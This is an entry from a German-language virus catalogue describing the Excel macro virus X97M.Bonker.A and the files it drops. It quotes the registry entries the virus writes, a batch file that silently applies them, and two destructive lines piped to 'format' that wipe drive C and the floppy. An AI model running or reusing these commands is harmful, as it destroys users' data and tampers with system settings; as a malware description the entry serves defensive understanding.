|
|
Viren : Virenkatalog
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
0-9
X97M.Bonker.A
X97M.Bonker.A ist ein Macrovirus der seinen Code in die Datei c:\windows\system\B32o2nk.sys
Von dieser Datei aus infiziert er die Vorlage von Excel. Das hat zur Folge das alle Dokumente die neu
angelegt bzw. geöffnet werden.
Der Virus legt die Datei C:\WINDOWS\SYSTEM\B32NK.REG an und speichert darin folgende Daten:
REGEDIT4"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]"
""LegalNoticeCaption""=""XM97.BoNK"""
""LegalNoticeText""=""This is BøNKeRs of the .BoNK-family by Jack Twoflower -=[LzØ]=-"""
Danach wird die Datei c:\start.bat" angelegt, diese enthält folgenden Text:
REM Microsoft Windows 95 Start-Hilfe"
REM ================================"
REM Systemdatei nicht löschen!"
regedit /s c:\windows\system\b32nk.reg"
Das heißt das die oben genannten Registryeinträge wirksam werden.
Also letzten Schritt legt der Virus die Datei Format.bat an. Diese enthält folgende zwei Textzeilen:
@echo j|format c:"
@echo j|format a:"
Also werden das Laufwerk C:\ und die gerade im Laufwerk befindliche Diskette formatiert.
|
|
Linktipps: Ferienhaus Griechenland
|
|
|
|
